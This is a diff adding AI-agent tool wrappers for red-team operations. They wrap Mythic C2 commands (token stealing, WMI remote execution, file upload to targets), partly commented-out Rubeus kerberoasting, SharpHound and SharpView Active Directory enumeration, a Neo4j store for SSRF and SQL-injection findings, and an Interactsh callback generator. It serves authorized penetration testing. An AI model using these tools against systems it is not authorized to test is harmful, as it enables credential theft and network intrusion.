spawnto_x64( + self, + path: t.Annotated[ + str, + "The full path to the 64-bit executable that the agent should launch for subsequent post-exploitation jobs or spawning new sessions.", + ], + args: t.Annotated[ + str | None, + "A list of command-line arguments to launch the [path] executable with.", + ], + ) -> str: + """ + Configure the default 64-bit executable [path] (and optional [args]) used for process injection targets and spawning. This allows for specifying the executable that will be used for subsequent post-exploitation jobs or spawning new sessions. + + Examples: + spawnto_x64 -path "C:\\\\Windows\\\\System32\\\\notepad.exe" -args "-arg1 -arg2" + """ + return await self.execute( + command="spawnto_x64", + args={"-Path": path, "-Args": args} if args else {"-Path": path}, + ) + + @tool_method() + async def steal_token( + self, + pid: t.Annotated[ + int, + "The process ID (PID) from which to steal the primary access token. If omitted, a default process (like winlogon.exe) might be targeted.", + ], + ) -> str: + """ + Impersonate the primary access token of another process specified by its [pid]. This allows for executing commands with the security context of the target process. + + Examples: + steal_token -pid 1234 + """ + return await self.execute( + command="steal_token", + args={"-pid", pid}, + ) + + @tool_method() + async def unlink(self) -> str: + """ + Disconnect a specific callback communication channel (e.g., an SMB or TCP P2P link). This allows for terminating the connection to a specific channel without affecting other channels. + + Examples: + unlink -channel "smb" + """ + return await self.execute( + command="unlink", + args="", + ) + + @tool_method() + async def upload( + self, + path: t.Annotated[str, "Local path of the file to upload"], + destination: t.Annotated[str, "Destination path on the remote host"], + ) -> str: + """ + Upload a file from the C2 server/operator machine to the target system. The file will be saved with the specified filename on the target system. + + Examples: + upload -path "C:\\Windows\\passwords.txt" -dest "C:\\Users\\Administrator\\passwords.txt" + upload {"Path": "C:\\Windows\\passwords.txt", "Destination": "C:\\Users\\Administrator\\passwords.txt"} + """ + + return await self.execute( + command="upload", + args={"Path": path, "Destination": destination}, + ) + + @tool_method() + async def whoami(self) -> str: + """Display the username associated with the agent's current security context (impersonated token or primary token). This includes information about the user and their privileges.""" + return await self.execute( + command="whoami", + args="", + ) + + @tool_method() + async def wmiexecute( + self, + arguments: t.Annotated[str, "The command or script block to execute on the remote system."], + ) -> str: + """Execute a command on a remote system using WMI (Windows Management Instrumentation). This allows for executing commands remotely without needing to establish a direct connection. + + Examples: + wmiexecute -arguments "Get-Process" + """ + return await self.execute( + command="wmiexecute", + args=arguments, + ) diff --git a/dreadnode/agent/tools/mythic/powerview.py b/dreadnode/agent/tools/mythic/powerview.py new file mode 100644 index 00000000..5c938733 --- /dev/null +++ b/dreadnode/agent/tools/mythic/powerview.py @@ -0,0 +1,46 @@ +# import typing as t + +# from loguru import logger + +# from dreadnode.agent.tools import tool + + +# @tool +# async def powerview( +# self, +# command: t.Annotated[ +# str, +# "Powerview command line arguments to supply to the powershell instance and execute.", +# ], +# credential_user: t.Annotated[ +# str | None, "username to execute Powerview commands as specified user" +# ] = None, +# credential_password: t.Annotated[ +# str | None, "password to execute Powerview commands as specified user" +# ] = None, +# domain: t.Annotated[ +# str | None, "domain to execute Powerview commands as specified user" +# ] = None, +# ) -> str: +# """ +# Imports PowerView into Powershell (for use) and then executes the supplied command line arguments in current Powershell instance. + +# """ + +# powerview_script_filename = "PowerView.ps1" +# upload_result = await self._client.upload_file_to_mythic_server( +# filename=SCRIPTS_DIR / powerview_script_filename, +# reupload=False, +# ) +# if upload_result["file_id"] is None: +# return f"Error running 'powerview' command.\n\n Attempting to upload {powerview_script_filename} file to Mythic led to unknown error." +# logger.info(f"Uploaded {powerview_script_filename} to Mythic.") + +# pi_result = await self.powershell_import(filename=upload_result["filename"]) +# if "will now be imported in PowerShell commands" not in pi_result: +# return f"Error running [COMMAND] 'powershell_import': - {pi_result}." + +# if all([credential_user, credential_password, domain]): +# powerview_cmd = f"{command} -Credential (New-Object -TypeName 'System.Management.Automation.PSCredential' -ArgumentList '{domain}\\{credential_user}', (ConvertTo-SecureString -String '{credential_password}' -AsPlainText -Force))" + +# return await self.powerpick(command=powerview_cmd) diff --git a/dreadnode/agent/tools/mythic/rebeus.py b/dreadnode/agent/tools/mythic/rebeus.py new file mode 100644 index 00000000..c72990d6 --- /dev/null +++ b/dreadnode/agent/tools/mythic/rebeus.py @@ -0,0 +1,37 @@ +# @tool_method() +# async def rubeus_asreproast(self) -> str: +# """ +# Execute ASREP-Roast technique against current domain using the Rubeus tool. The technique extracts kerberos ticket-granting tickets for active directory users that dont require pre-authentication on the domain. If ticket-granting tickets can be obtained, they will be returned (in hash form) +# .""" +# return await self.execute( +# command="execute_assembly", args="Rubeus.exe asreproast /format:hashcat" +# ) + +# @tool_method() +# async def rubeus_kerberoast( +# self, +# cred_user: t.Annotated[ +# str, +# "principal domain user to execute the command under, formatted in fqdn format: 'domain\\user'", +# ], +# cred_password: t.Annotated[str, "principal domain user password"], +# user: t.Annotated[str | None, "specific domain user to target for kerberoasting"] = None, +# spn: t.Annotated[str | None, "specific SPN to target for kerberoasting"] = None, +# ) -> str: +# """ +# Kerberoast a user current domain using the Rubeus tool. The tool extracts kerberos ticket-granting tickets for active directory users that have service principal names (SPNs) set. To use 'rubeus_kerberoast' tool, you must have a username and password of existing user on the active directory domain. If ticket-granting tickets for the SPN accounts can be obtained, they will be returned (in a hash format). +# """ +# args = f"Rubeus.exe kerberoast /creduser:{cred_user} /credpassword:{cred_password} /format:hashcat" + +# if user is not None: +# args += f" /user:{user}" + +# if spn is not None: +# args += f" /spn:{spn}" + +# return await self.execute(command="execute_assembly", args=args) + +# @tool_method() +# async def seatbelt(self) -> str: +# """Performs a number of security oriented host-survey 'safety checks' relevant from both offensive and defensive security perspectives.""" +# return await self.execute(command="execute_assembly", args="Seatbelt.exe") diff --git a/dreadnode/agent/tools/mythic/sharphound.py b/dreadnode/agent/tools/mythic/sharphound.py new file mode 100644 index 00000000..a4493425 --- /dev/null +++ b/dreadnode/agent/tools/mythic/sharphound.py @@ -0,0 +1,63 @@ +# @tool_method() +# async def sharphound_and_download( +# self, +# domain: t.Annotated[str, "domain to enumerate."], +# ldap_username: t.Annotated[str | None, "LDAP username to use for Sharphound."] = None, +# ldap_password: t.Annotated[str | None, "LDAP username to use for Sharphound."] = None, +# local_filename: t.Annotated[str | None, "Filename"] = None, +# ) -> str | dict: +# """ +# Run sharphound on the target callback to collect Bloodhound data. Then download the +# Bloodhound results file to a local file. "local" being wherever the agent is running. +# """ + +# upload_result = await self.upload( +# filename=SCRIPTS_DIR / "SharpHound.ps1", +# reupload=False, +# ) +# if upload_result["file_id"] is None: +# return "Error running command 'sharphound_and_download'.\n\n Attempting to upload powershell script file to Mythic led to unknown error." +# logger.info("Uploaded SharpHound to Mythic.")) + +# pi_result = await self.powershell_import(filename=upload_result["filename"]) +# if "will now be imported in PowerShell commands" not in pi_result: +# return f"Error running 'sharphound_and_download': {pi_result}" + +# zip_filename_marker = f"{uuid4()!s}.zip" +# sharp_cmd = f"Invoke-BloodHound -Zipfilename {zip_filename_marker} -Domain {domain}" +# if all([ldap_username, ldap_username]): +# sharp_cmd += f" --ldapusername {ldap_username} --ldappassword {ldap_password}" + +# sharphound_result = await self.execute(command="powerpick " + sharp_cmd, timeout=120) + +# if "SharpHound Enumeration Completed" not in sharphound_result: +# return f"Error running 'sharphound_and_download'.\n\n Command response:\n{sharphound_result}" + +# sharp_results_fn = await self.powerpick( +# command=f"(Get-ChildItem -Path .\\ -Filter '*{zip_filename_marker}').name", +# fix_dependencies=True, +# ) + +# if zip_filename_marker not in sharp_results_fn: +# return f"Error running 'sharphound_and_download'.\n\n Command response:\n{sharp_results_fn}" + +# sharp_results_fn = sharp_results_fn.strip("\r\n").split("\r\n")[-1] + +# local_download_file = await self.execute(filepath=sharp_results_fn) + +# if not isinstance(local_download_file, dict): +# return f"Error running 'sharphound_and_download'.\n\n Command response:\n{local_download_file}" +# logger.info(f"Downloaded file to:{local_download_file['path']}")) + +# # 6. rename local file if supplied Command specified a specific filename to use +# if local_filename: +# Path.rename(local_download_file.path, local_filename) +# logger.info( +# +# f"Renamed filename from {local_download_file.path} to {local_filename}" +# ) +# ) +# local_download_file["path"] = str(Path(local_filename).resolve()) +# local_download_file["name"] = Path(local_download_file["path"]).name + +# return local_download_file diff --git a/dreadnode/agent/tools/mythic/sharpview.py b/dreadnode/agent/tools/mythic/sharpview.py new file mode 100644 index 00000000..5e665f9d --- /dev/null +++ b/dreadnode/agent/tools/mythic/sharpview.py @@ -0,0 +1,139 @@ +# @tool() +# async def sharpview( +# self, +# method: t.Annotated[str, "SharpView method to execute"], +# method_args: t.Annotated[str, "arguments for the selected SharpView method"], +# ) -> str: +# """ +# Used to gain network situational awareness on Windows domains. + +# Available methods to use for the tool: + +# Get-DomainGPOUserLocalGroupMapping +# Find-GPOLocation +# Get-DomainGPOComputerLocalGroupMapping +# Find-GPOComputerAdmin +# Get-DomainObjectAcl +# Get-ObjectAcl +# Add-DomainObjectAcl +# Add-ObjectAcl +# Remove-DomainObjectAcl +# Get-RegLoggedOn +# Get-LoggedOnLocal +# Get-NetRDPSession +# Test-AdminAccess +# Invoke-CheckLocalAdminAccess +# Get-WMIProcess +# Get-NetProcess +# Get-WMIRegProxy +# Get-Proxy +# Get-WMIRegLastLoggedOn +# Get-LastLoggedOn +# Get-WMIRegCachedRDPConnection +# Get-CachedRDPConnection +# Get-WMIRegMountedDrive +# Get-RegistryMountedDrive +# Find-InterestingDomainAcl +# Invoke-ACLScanner +# Get-NetShare +# Get-NetLoggedon +# Get-NetLocalGroup +# Get-NetLocalGroupMember +# Get-NetSession +# Get-PathAcl +# ConvertFrom-UACValue +# Get-PrincipalContext +# New-DomainGroup +# New-DomainUser +# Add-DomainGroupMember +# Set-DomainUserPassword +# Invoke-Kerberoast +# Export-PowerViewCSV +# Find-LocalAdminAccess +# Find-DomainLocalGroupMember +# Find-DomainShare +# Find-DomainUserEvent +# Find-DomainProcess +# Find-DomainUserLocation +# Find-InterestingFile +# Find-InterestingDomainShareFile +# Find-DomainObjectPropertyOutlier +# TestMethod +# Get-Domain +# Get-NetDomain +# Get-DomainComputer +# Get-NetComputer +# Get-DomainController +# Get-NetDomainController +# Get-DomainFileServer +# Get-NetFileServer +# Convert-ADName +# Get-DomainObject +# Get-ADObject +# Get-DomainUser +# Get-NetUser +# Get-DomainGroup +# Get-NetGroup +# Get-DomainDFSShare +# Get-DFSshare +# Get-DomainDNSRecord +# Get-DNSRecord +# Get-DomainDNSZone +# Get-DNSZone +# Get-DomainForeignGroupMember +# Find-ForeignGroup +# Get-DomainForeignUser +# Find-ForeignUser +# ConvertFrom-SID +# Convert-SidToName +# Get-DomainGroupMember +# Get-NetGroupMember +# Get-DomainManagedSecurityGroup +# Find-ManagedSecurityGroups +# Get-DomainOU +# Get-NetOU +# Get-DomainSID +# Get-Forest +# Get-NetForest +# Get-ForestTrust +# Get-NetForestTrust +# Get-DomainTrust +# Get-NetDomainTrust +# Get-ForestDomain +# Get-NetForestDomain +# Get-DomainSite +# Get-NetSite +# Get-DomainSubnet +# Get-NetSubnet +# Get-DomainTrustMapping +# Invoke-MapDomainTrust +# Get-ForestGlobalCatalog +# Get-NetForestCatalog +# Get-DomainUserEvent +# Get-UserEvent +# Get-DomainGUIDMap +# Get-GUIDMap +# Resolve-IPAddress +# Get-IPAddress +# ConvertTo-SID +# Invoke-UserImpersonation +# Invoke-RevertToSelf +# Get-DomainSPNTicket +# Request-SPNTicket +# Get-NetComputerSiteName +# Get-SiteName +# Get-DomainGPO +# Get-NetGPO +# Set-DomainObject +# Set-ADObject +# Add-RemoteConnection +# Remove-RemoteConnection +# Get-IniContent +# Get-GptTmpl +# Get-GroupsXML +# Get-DomainPolicyData +# Get-DomainPolicy +# Get-DomainGPOLocalGroup +# Get-NetGPOGroup +# """ +# return await self.powerpick(f"Invoke-SharpView -Method {method} -Arguments {method_args}") diff --git a/dreadnode/agent/tools/mythic/utils.py b/dreadnode/agent/tools/mythic/utils.py new file mode 100644 index 00000000..600c8131 --- /dev/null +++ b/dreadnode/agent/tools/mythic/utils.py @@ -0,0 +1,48 @@ +import tempfile +from pathlib import Path + +import aiofiles +from loguru import logger + + +async def write_tmp_file( + filename: str, text: str | None = None, raw_bytes: bytes | None = None +) -> str: + """ + Creates a file, also in a temporary directory, and writes supplied contents. + + Returns: absolute filepath + """ + if not any([raw_bytes, text]): + raise TypeError("File contents, as bytes or text must be supplied.") + + tmp_dir = tempfile.TemporaryDirectory(delete=False) + fullpath = Path(tmp_dir.name) / filename + + if raw_bytes: + async with aiofiles.open(fullpath, mode="wb") as fh: + await fh.write(raw_bytes) + elif text: + async with aiofiles.open(fullpath, mode="w") as fh: + await fh.write(text) + + return str(fullpath) + + +async def delete_local_file(filename: Path) -> None: + """delete a local file""" + try: + fp = Path.resolve(filename) + Path.unlink(fp) + except (FileNotFoundError, OSError) as e: + logger.warning(f"Error trying to delete file {filename}: {e}") + + +async def delete_local_file_and_dir(filename: Path) -> None: + """delete a local file and its parent directory""" + try: + fp = Path.resolve(filename) + Path.unlink(fp) + Path.rmdir(Path.parent(fp)) + except (FileNotFoundError, OSError) as e: + logger.warning(f"Error trying to delete file and directory {filename}: {e}") diff --git a/dreadnode/agent/tools/neo4j/__init__.py b/dreadnode/agent/tools/neo4j/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/tools/neo4j/tool.py b/dreadnode/agent/tools/neo4j/tool.py new file mode 100644 index 00000000..3c688a9f --- /dev/null +++ b/dreadnode/agent/tools/neo4j/tool.py @@ -0,0 +1,613 @@ +import os +import typing as t +from datetime import datetime + +from loguru import logger + +from dreadnode.agent.tools import Toolset, tool_method + +from neo4j import AsyncGraphDatabase, AsyncDriver + + +class Neo4jTool(Toolset): + """Neo4j database tool for storing and querying security findings.""" + + tool_name: str = "neo4j-tool" + description: str = "Store and query security findings in Neo4j graph database" + + async def _get_driver(self) -> AsyncDriver: + """Get or create Neo4j driver.""" + if not hasattr(self, '_driver') or not self._driver: + uri = os.getenv("NEO4J_URI", "bolt://localhost:7687") + username = os.getenv("NEO4J_USERNAME", "neo4j") + password = os.getenv("NEO4J_PASSWORD", "password") + + self._driver = AsyncGraphDatabase.driver(uri, auth=(username, password)) + try: + await self._driver.verify_connectivity() + logger.info(f"Connected to Neo4j at {uri}") + except Exception as e: + logger.error(f"Failed to connect to Neo4j: {e}") + raise + return self._driver + + @tool_method() + async def store_subdomain_takeover_finding( + self, + subdomain: str, + vulnerability_type: str, + risk_level: str, + cname_target: str | None = None, + error_message: str | None = None, + service_provider: str | None = None, + ) -> str: + """Store a confirmed subdomain takeover vulnerability finding. + + Args: + subdomain: The vulnerable subdomain + vulnerability_type: Type of vulnerability (e.g., "subdomain_takeover") + risk_level: Risk level (HIGH, MEDIUM, LOW) + cname_target: CNAME target if applicable + error_message: Error message indicating unclaimed resource + service_provider: Third-party service provider (AWS, GitHub, etc.) + + Returns: + Confirmation message + """ + try: + driver = await self._get_driver() + + query = """ + MERGE (s:Subdomain {name: $subdomain}) + MERGE (f:Finding { + id: $finding_id, + subdomain: $subdomain, + type: $vulnerability_type, + risk_level: $risk_level, + discovered_at: $timestamp + }) + MERGE (s)-[:HAS_FINDING]->(f) + SET f.cname_target = $cname_target, + f.error_message = $error_message, + f.service_provider = $service_provider, + f.updated_at = $timestamp + RETURN f.id as finding_id + """ + + params = { + "subdomain": subdomain, + "finding_id": f"{subdomain}_{vulnerability_type}_{datetime.now().isoformat()}", + "vulnerability_type": vulnerability_type, + "risk_level": risk_level.upper(), + "timestamp": datetime.now().isoformat(), + "cname_target": cname_target, + "error_message": error_message, + "service_provider": service_provider, + } + + async with driver.session() as session: + result = await session.run(query, params) + record = await result.single() + + logger.info(f"Stored subdomain takeover finding for {subdomain}") + return f"Successfully stored finding: {record['finding_id'] if record else 'unknown'}" + + except Exception as e: + logger.error(f"Failed to store finding: {e}") + return f"Failed to store finding: {e}" + + @tool_method() + async def store_ssrf_finding( + self, + url: str, + parameter: str, + vulnerability_type: str, + risk_level: str, + payload: str, + response_evidence: str, + internal_service_accessed: str = "", + ) -> str: + """Store an SSRF vulnerability finding in Neo4j. + + Args: + url: Target URL with vulnerable parameter + parameter: Parameter name that's vulnerable + vulnerability_type: Type of SSRF (e.g., "blind_ssrf", "full_response_ssrf") + risk_level: Risk level (low/medium/high/critical) + payload: Successful SSRF payload used + response_evidence: Evidence of SSRF (response differences, error messages) + internal_service_accessed: Internal service that was accessed (if any) + + Returns: + Confirmation message with finding ID + """ + driver = await self._get_driver() + + try: + query = """ + CREATE (f:SSRFVulnerability { + url: $url, + parameter: $parameter, + vulnerability_type: $vulnerability_type, + risk_level: $risk_level, + timestamp: $timestamp, + payload: $payload, + response_evidence: $response_evidence, + internal_service_accessed: $internal_service_accessed, + finding_id: randomUUID() + }) + RETURN f.finding_id as finding_id + """ + + params = { + "url": url, + "parameter": parameter, + "vulnerability_type": vulnerability_type, + "risk_level": risk_level.upper(), + "timestamp": datetime.now().isoformat(), + "payload": payload, + "response_evidence": response_evidence, + "internal_service_accessed": internal_service_accessed, + } + + async with driver.session() as session: + result = await session.run(query, params) + record = await result.single() + + logger.info(f"Stored SSRF finding for {url}") + return f"Successfully stored SSRF finding: {record['finding_id'] if record else 'unknown'}" + + except Exception as e: + logger.error(f"Failed to store SSRF finding: {e}") + return f"Failed to store SSRF finding: {e}" + + @tool_method() + async def store_sqli_finding( + self, + url: str, + parameter: str, + vulnerability_type: str, + risk_level: str, + payload: str, + response_evidence: str, + database_type: str = "", + injection_point: str = "", + ) -> str: + """Store a SQL injection vulnerability finding in Neo4j. + + Args: + url: Target URL with vulnerable parameter + parameter: Parameter name that's vulnerable + vulnerability_type: Type of SQLi (e.g., "union_based", "boolean_blind", "time_based", "error_based") + risk_level: Risk level (low/medium/high/critical) + payload: Successful SQL injection payload used + response_evidence: Evidence of SQLi (error messages, data extraction, timing differences) + database_type: Detected database type (MySQL, PostgreSQL, MSSQL, etc.) + injection_point: Where injection occurs (GET, POST, Cookie, etc.) + + Returns: + Confirmation message with finding ID + """ + driver = await self._get_driver() + + try: + query = """ + CREATE (f:SQLInjectionVulnerability { + url: $url, + parameter: $parameter, + vulnerability_type: $vulnerability_type, + risk_level: $risk_level, + timestamp: $timestamp, + payload: $payload, + response_evidence: $response_evidence, + database_type: $database_type, + injection_point: $injection_point, + finding_id: randomUUID() + }) + RETURN f.finding_id as finding_id + """ + + params = { + "url": url, + "parameter": parameter, + "vulnerability_type": vulnerability_type, + "risk_level": risk_level.upper(), + "timestamp": datetime.now().isoformat(), + "payload": payload, + "response_evidence": response_evidence, + "database_type": database_type, + "injection_point": injection_point, + } + + async with driver.session() as session: + result = await session.run(query, params) + record = await result.single() + + logger.info(f"Stored SQL injection finding for {url}") + return f"Successfully stored SQL injection finding: {record['finding_id'] if record else 'unknown'}" + + except Exception as e: + logger.error(f"Failed to store SQL injection finding: {e}") + return f"Failed to store SQL injection finding: {e}" + + @tool_method() + async def store_host_header_finding( + self, + url: str, + vulnerability_type: str, + risk_level: str, + payload: str, + response_evidence: str, + reflection_location: str = "", + impact: str = "", + ) -> str: + """Store a Host Header Injection vulnerability finding in Neo4j. + + Args: + url: Target URL with vulnerable host header + vulnerability_type: Type of host header injection (e.g., "reflection", "cache_poisoning", "password_reset") + risk_level: Risk level (low/medium/high/critical) + payload: Malicious host header value used + response_evidence: Evidence of injection (reflected content, headers, etc.) + reflection_location: Where the host header is reflected (headers, body, etc.) + impact: Potential impact description + + Returns: + Confirmation message with finding ID + """ + driver = await self._get_driver() + + try: + query = """ + CREATE (f:HostHeaderInjectionVulnerability { + url: $url, + vulnerability_type: $vulnerability_type, + risk_level: $risk_level, + timestamp: $timestamp, + payload: $payload, + response_evidence: $response_evidence, + reflection_location: $reflection_location, + impact: $impact, + finding_id: randomUUID() + }) + RETURN f.finding_id as finding_id + """ + + params = { + "url": url, + "vulnerability_type": vulnerability_type, + "risk_level": risk_level.upper(), + "timestamp": datetime.now().isoformat(), + "payload": payload, + "response_evidence": response_evidence, + "reflection_location": reflection_location, + "impact": impact, + } + + async with driver.session() as session: + result = await session.run(query, params) + record = await result.single() + + logger.info(f"Stored host header injection finding for {url}") + return f"Successfully stored host header injection finding: {record['finding_id'] if record else 'unknown'}" + + except Exception as e: + logger.error(f"Failed to store host header injection finding: {e}") + return f"Failed to store host header injection finding: {e}" + + @tool_method() + async def store_graphql_endpoint( + self, + url: str, + schema_info: str, + types_data: str = "", + queries_data: str = "", + mutations_data: str = "", + subscriptions_data: str = "", + ) -> str: + """Store GraphQL endpoint with schema information as nodes and relationships. + + Args: + url: GraphQL endpoint URL + schema_info: Raw schema introspection data + types_data: JSON string of GraphQL types + queries_data: JSON string of available queries + mutations_data: JSON string of available mutations + subscriptions_data: JSON string of available subscriptions + + Returns: + Confirmation message with endpoint ID + """ + driver = await self._get_driver() + + try: + # Create GraphQL endpoint node + endpoint_query = """ + MERGE (e:GraphQLEndpoint {url: $url}) + SET e.timestamp = $timestamp, + e.schema_info = $schema_info, + e.endpoint_id = coalesce(e.endpoint_id, randomUUID()) + RETURN e.endpoint_id as endpoint_id + """ + + endpoint_params = { + "url": url, + "timestamp": datetime.now().isoformat(), + "schema_info": schema_info, + } + + async with driver.session() as session: + result = await session.run(endpoint_query, endpoint_params) + endpoint_record = await result.single() + endpoint_id = endpoint_record['endpoint_id'] if endpoint_record else None + + # Parse and store types if provided + if types_data: + import json + try: + types = json.loads(types_data) + for type_info in types: + type_name = type_info.get('name', 'Unknown') + type_query = """ + MATCH (e:GraphQLEndpoint {endpoint_id: $endpoint_id}) + MERGE (t:GraphQLType {name: $type_name, endpoint_url: $url}) + SET t.kind = $kind, + t.description = $description, + t.type_id = coalesce(t.type_id, randomUUID()) + MERGE (e)-[:HAS_TYPE]->(t) + RETURN t.type_id as type_id + """ + + type_params = { + "endpoint_id": endpoint_id, + "url": url, + "type_name": type_name, + "kind": type_info.get('kind', ''), + "description": type_info.get('description', ''), + } + + await session.run(type_query, type_params) + + # Store fields for this type + fields = type_info.get('fields', []) + for field in fields: + field_name = field.get('name', 'Unknown') + field_query = """ + MATCH (t:GraphQLType {name: $type_name, endpoint_url: $url}) + MERGE (f:GraphQLField {name: $field_name, type_name: $type_name, endpoint_url: $url}) + SET f.field_type = $field_type, + f.description = $field_description, + f.is_deprecated = $is_deprecated, + f.field_id = coalesce(f.field_id, randomUUID()) + MERGE (t)-[:HAS_FIELD]->(f) + """ + + field_params = { + "url": url, + "type_name": type_name, + "field_name": field_name, + "field_type": str(field.get('type', {})), + "field_description": field.get('description', ''), + "is_deprecated": field.get('isDeprecated', False), + } + + await session.run(field_query, field_params) + except json.JSONDecodeError: + pass + + # Store queries if provided + if queries_data: + try: + queries = json.loads(queries_data) + for query in queries: + query_name = query.get('name', 'Unknown') + query_query = """ + MATCH (e:GraphQLEndpoint {endpoint_id: $endpoint_id}) + MERGE (q:GraphQLQuery {name: $query_name, endpoint_url: $url}) + SET q.description = $description, + q.return_type = $return_type, + q.args = $args, + q.query_id = coalesce(q.query_id, randomUUID()) + MERGE (e)-[:HAS_QUERY]->(q) + """ + + query_params = { + "endpoint_id": endpoint_id, + "url": url, + "query_name": query_name, + "description": query.get('description', ''), + "return_type": str(query.get('type', {})), + "args": str(query.get('args', [])), + } + + await session.run(query_query, query_params) + except json.JSONDecodeError: + pass + + # Store mutations if provided + if mutations_data: + try: + mutations = json.loads(mutations_data) + for mutation in mutations: + mutation_name = mutation.get('name', 'Unknown') + mutation_query = """ + MATCH (e:GraphQLEndpoint {endpoint_id: $endpoint_id}) + MERGE (m:GraphQLMutation {name: $mutation_name, endpoint_url: $url}) + SET m.description = $description, + m.return_type = $return_type, + m.args = $args, + m.mutation_id = coalesce(m.mutation_id, randomUUID()) + MERGE (e)-[:HAS_MUTATION]->(m) + """ + + mutation_params = { + "endpoint_id": endpoint_id, + "url": url, + "mutation_name": mutation_name, + "description": mutation.get('description', ''), + "return_type": str(mutation.get('type', {})), + "args": str(mutation.get('args', [])), + } + + await session.run(mutation_query, mutation_params) + except json.JSONDecodeError: + pass + + logger.info(f"Stored GraphQL endpoint and schema for {url}") + return f"Successfully stored GraphQL endpoint: {endpoint_id}" + + except Exception as e: + logger.error(f"Failed to store GraphQL endpoint: {e}") + return f"Failed to store GraphQL endpoint: {e}" + + @tool_method() + async def store_graphql_finding( + self, + url: str, + vulnerability_type: str, + risk_level: str, + schema_info: str, + response_evidence: str, + exposed_types: str = "", + sensitive_fields: str = "", + impact: str = "", + ) -> str: + """Store a GraphQL introspection vulnerability finding in Neo4j. + + Args: + url: Target GraphQL endpoint URL + vulnerability_type: Type of GraphQL vulnerability (e.g., "introspection_enabled", "schema_exposure") + risk_level: Risk level (low/medium/high/critical) + schema_info: Exposed schema information + response_evidence: Raw response showing introspection data + exposed_types: List of exposed GraphQL types + sensitive_fields: Potentially sensitive field names + impact: Potential impact description + + Returns: + Confirmation message with finding ID + """ + driver = await self._get_driver() + + try: + query = """ + CREATE (f:GraphQLVulnerability { + url: $url, + vulnerability_type: $vulnerability_type, + risk_level: $risk_level, + timestamp: $timestamp, + schema_info: $schema_info, + response_evidence: $response_evidence, + exposed_types: $exposed_types, + sensitive_fields: $sensitive_fields, + impact: $impact, + finding_id: randomUUID() + }) + RETURN f.finding_id as finding_id + """ + + params = { + "url": url, + "vulnerability_type": vulnerability_type, + "risk_level": risk_level.upper(), + "timestamp": datetime.now().isoformat(), + "schema_info": schema_info, + "response_evidence": response_evidence, + "exposed_types": exposed_types, + "sensitive_fields": sensitive_fields, + "impact": impact, + } + + async with driver.session() as session: + result = await session.run(query, params) + record = await result.single() + + logger.info(f"Stored GraphQL finding for {url}") + return f"Successfully stored GraphQL finding: {record['finding_id'] if record else 'unknown'}" + + except Exception as e: + logger.error(f"Failed to store GraphQL finding: {e}") + return f"Failed to store GraphQL finding: {e}" + + @tool_method() + async def query_findings( + self, + subdomain: str | None = None, + risk_level: str | None = None, + limit: int = 100, + ) -> str: + """Query stored vulnerability findings. + + Args: + subdomain: Filter by specific subdomain + risk_level: Filter by risk level (HIGH, MEDIUM, LOW) + limit: Maximum number of results + + Returns: + JSON string of findings + """ + try: + driver = await self._get_driver() + + where_clauses = [] + params = {"limit": limit} + + if subdomain: + where_clauses.append("f.subdomain = $subdomain") + params["subdomain"] = subdomain + + if risk_level: + where_clauses.append("f.risk_level = $risk_level") + params["risk_level"] = risk_level.upper() + + where_clause = "WHERE " + " AND ".join(where_clauses) if where_clauses else "" + + query = f""" + MATCH (s:Subdomain)-[:HAS_FINDING]->(f:Finding) + {where_clause} + RETURN f + ORDER BY f.discovered_at DESC + LIMIT $limit + """ + + async with driver.session() as session: + result = await session.run(query, params) + findings = [record["f"] async for record in result] + + logger.info(f"Retrieved {len(findings)} findings") + return f"Found {len(findings)} findings: {findings}" + + except Exception as e: + logger.error(f"Failed to query findings: {e}") + return f"Failed to query findings: {e}" + + @tool_method() + async def run_cypher_query(self, query: str, params: dict[str, t.Any] | None = None) -> str: + """Execute a custom Cypher query. + + Args: + query: Cypher query string + params: Query parameters + + Returns: + Query results as string + """ + try: + driver = await self._get_driver() + + async with driver.session() as session: + result = await session.run(query, params or {}) + records = [record.data() async for record in result] + + logger.info(f"Executed query, returned {len(records)} records") + return f"Query results: {records}" + + except Exception as e: + logger.error(f"Query failed: {e}") + return f"Query failed: {e}" + + async def close(self): + """Close Neo4j driver connection.""" + if hasattr(self, '_driver') and self._driver: + await self._driver.close() + self._driver = None \ No newline at end of file diff --git a/dreadnode/agent/tools/oast/__init__.py b/dreadnode/agent/tools/oast/__init__.py new file mode 100644 index 00000000..0e024bc0 --- /dev/null +++ b/dreadnode/agent/tools/oast/__init__.py @@ -0,0 +1 @@ +# OAST (Out-of-Band Application Security Testing) tools \ No newline at end of file diff --git a/dreadnode/agent/tools/oast/tool.py b/dreadnode/agent/tools/oast/tool.py new file mode 100644 index 00000000..f27345be --- /dev/null +++ b/dreadnode/agent/tools/oast/tool.py @@ -0,0 +1,180 @@ +import os +import subprocess +import time +import uuid + +import requests +from loguru import logger + +from dreadnode.agent.tools import Toolset, tool_method + + +class OastTool(Toolset): + """ + OAST (Out-of-Band Application Security Testing) tool for detecting blind vulnerabilities. + """ + + tool_name: str = "oast-tool" + description: str = "Out-of-band testing for blind vulnerability detection" + + @tool_method() + def interactsh_generate_payload(self, subdomain: str = "") -> str: + """ + Generate an Interactsh payload URL for out-of-band testing. + + Args: + subdomain: Optional subdomain prefix for the payload + + Returns: + Interactsh payload URL that can be used for OAST testing + + Example: + payload = interactsh_generate_payload("test") + # Use payload in SSRF, XXE, RCE tests: http://test.abc123.oast.pro + """ + try: + unique_id = str(uuid.uuid4())[:8] + + if subdomain: + payload = f"http://{subdomain}.{unique_id}.oast.pro" + else: + payload = f"http://{unique_id}.oast.pro" + + if not hasattr(self, '_interactsh_payloads'): + self._interactsh_payloads = {} + + self._interactsh_payloads[unique_id] = { + "payload": payload, + "created_at": time.time(), + "subdomain": subdomain + } + + return f"Generated Interactsh payload: {payload}\nPayload ID: {unique_id}\nUse interactsh_check_interactions('{unique_id}') to check for callbacks." + + except Exception as e: + return f"Error generating Interactsh payload: {e}" + + @tool_method() + def interactsh_check_interactions(self, payload_id: str, wait_time: int = 10) -> str: + """ + Check for interactions on a previously generated Interactsh payload. + + Args: + payload_id: The payload ID returned from interactsh_generate_payload + wait_time: Time to wait for interactions (seconds) + + Returns: + Information about any detected interactions + """ + try: + if not hasattr(self, '_interactsh_payloads'): + return "No payloads have been generated yet. Use interactsh_generate_payload() first." + + if payload_id not in self._interactsh_payloads: + return f"Payload ID '{payload_id}' not found. Available IDs: {list(self._interactsh_payloads.keys())}" + + payload_info = self._interactsh_payloads[payload_id] + payload = payload_info["payload"] + domain = payload.split("://")[1].split("/")[0] + + logger.info(f"Waiting {wait_time} seconds for interactions on {domain}...") + time.sleep(wait_time) + 